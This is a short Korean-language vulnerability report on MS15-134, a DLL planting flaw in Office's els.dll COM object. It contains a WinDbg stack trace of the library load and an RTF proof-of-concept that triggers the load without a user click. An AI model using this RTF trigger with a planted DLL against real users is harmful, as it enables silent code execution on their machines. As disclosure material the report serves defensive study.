[MS15-134]Microsoft Office 취약점 리포트

Microsoft Office(마이크로 소프트 오피스)에서 발견된 취약점에 대하여 리포트합니다.

Microsoft Office / COM Object els.dll DLL Planting 

COM 오브젝트 els.dll 취약점입니다.

소스코드는 아래와 같습니다.

 

0:000> kb

ChildEBP RetAddr  Args to Child             

005982a4 60e94cca 60e92464 9582fa74 00000000 kernel32!LoadLibraryW

00598538 60e94d71 00000000 0059857c 60ea3209 els!WinbaseIsolationAwarePrivatetRgzlnPgpgk+0x1a8

00598544 60ea3209 00598560 9582fa30 00000000 els!IsolationAwarePrivatenPgViNgRzlnPgpgk+0x30

0059857c 60ea36b6 9582f680 60ea6d20 007cbfe8 els!IsolationAwareInitCommonControls+0x28

005989cc 60e933d1 60e94377 0360ac4c 60ea6ce1 els!InitGlobals+0x2c3

005989d0 60e94377 0360ac4c 60ea6ce1 005990a4 els!CDll::AddRef+0xe

005989d8 60ea6ce1 005990a4 036087e0 00000000 els!CComponentDataCF::CComponentDataCF+0x10

005989ec 75bbaec6 0360ac3c 75bbee84 00598a94 els!DllGetClassObject+0x77

00598a08 75b991cd 0360ac3c 75bbee84 00598a94 ole32!CClassCache::CDllPathEntry::DllGetClassObject+0x30 [d:\w7rtm\com\ole32\com\objact\dllcache.cxx @ 3324]

00598a20 75b98e92 00598a34 75bbee84 00598a94 ole32!CClassCache::CDllFnPtrMoniker::BindToObjectNoSwitch+0x1f [d:\w7rtm\com\ole32\com\objact\dllcache.cxx @ 3831]

00598a58 75b98c37 00598a9c 00000000 005990a4 ole32!CClassCache::GetClassObject+0x49 [d:\w7rtm\com\ole32\com\objact\dllcache.cxx @ 4582]

00598ad4 75bb3170 75cb6444 00000000 005990a4 ole32!CServerContextActivator::CreateInstance+0x110 [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 974]

00598b14 75b98daa 005990a4 00000000 00599614 ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108 [d:\w7rtm\com\ole32\actprops\actprops.cxx @ 1917]

00598b68 75b98d1f 75cb646c 00000000 005990a4 ole32!CApartmentActivator::CreateInstance+0x112 [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 2268]

00598b88 75b98aa2 75cb6494 00000001 00000000 ole32!CProcessActivator::CCICallback+0x6d [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 1737]

00598ba8 75b98a53 75cb6494 00598f00 00000000 ole32!CProcessActivator::AttemptActivation+0x2c [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 1630]

00598be4 75b98e0d 75cb6494 00598f00 00000000 ole32!CProcessActivator::ActivateByContext+0x4f [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 1487]

00598c0c 75bb3170 75cb6494 00000000 005990a4 ole32!CProcessActivator::CreateInstance+0x49 [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 1377]

00598c4c 75bb2ef4 005990a4 00000000 00599614 ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108 [d:\w7rtm\com\ole32\actprops\actprops.cxx @ 1917]

00598eac 75bb3170 75cb6448 00000000 005990a4 ole32!CClientContextActivator::CreateInstance+0xb0 [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 685]

00598eec 75bb3098 005990a4 00000000 00599614 ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108 [d:\w7rtm\com\ole32\actprops\actprops.cxx @ 1917]

005996c8 75bb9e25 005997e4 00000000 00000403 ole32!ICoCreateInstanceEx+0x404 [d:\w7rtm\com\ole32\com\objact\objact.cxx @ 1334]

00599728 75bb9d86 005997e4 00000000 00000403 ole32!CComActivator::DoCreateInstance+0xd9 [d:\w7rtm\com\ole32\com\objact\immact.hxx @ 343]

0059974c 75bb9d3f 005997e4 00000000 00000403 ole32!CoCreateInstanceEx+0x38 [d:\w7rtm\com\ole32\com\objact\actapi.cxx @ 157]

0059977c 75bd154c 005997e4 00000000 00000403 ole32!CoCreateInstance+0x37 [d:\w7rtm\com\ole32\com\objact\actapi.cxx @ 110]

005997f8 75bcf2af 394c052e 11d0b830 c000869a ole32!wCreateObject+0x106 [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 3046]

0059985c 75bcf1d4 16260820 00000000 5f7a6600 ole32!OleLoadWithoutBinding+0x9c [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 1576]

00599884 703bca10 16260820 5f7a6600 097b2f00 ole32!OleLoad+0x37 [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 1495]

WARNING: Stack unwind information not available. Following frames may be wrong.

005998f8 5fb7efb2 16260820 5f7a6600 097b2f00 mso!Ordinal4743+0x7c

00599948 5fb7eeb9 09775da8 16260820 5f7a6600 wwlib!DllGetLCID+0x3bc330

 

It is also possible to trigger this DLL load without a user click with the following RTF document:

 

{\rtf1{\object\objemb{\*\objclass None}{\*\oleclsid \'7b394c052e-b830-11d0-9a86-00c04fd8dbf7\'7d}{\*\objdata 010500000100000001000000000000000000000000000000000000000000000000000000000000000000000000}}}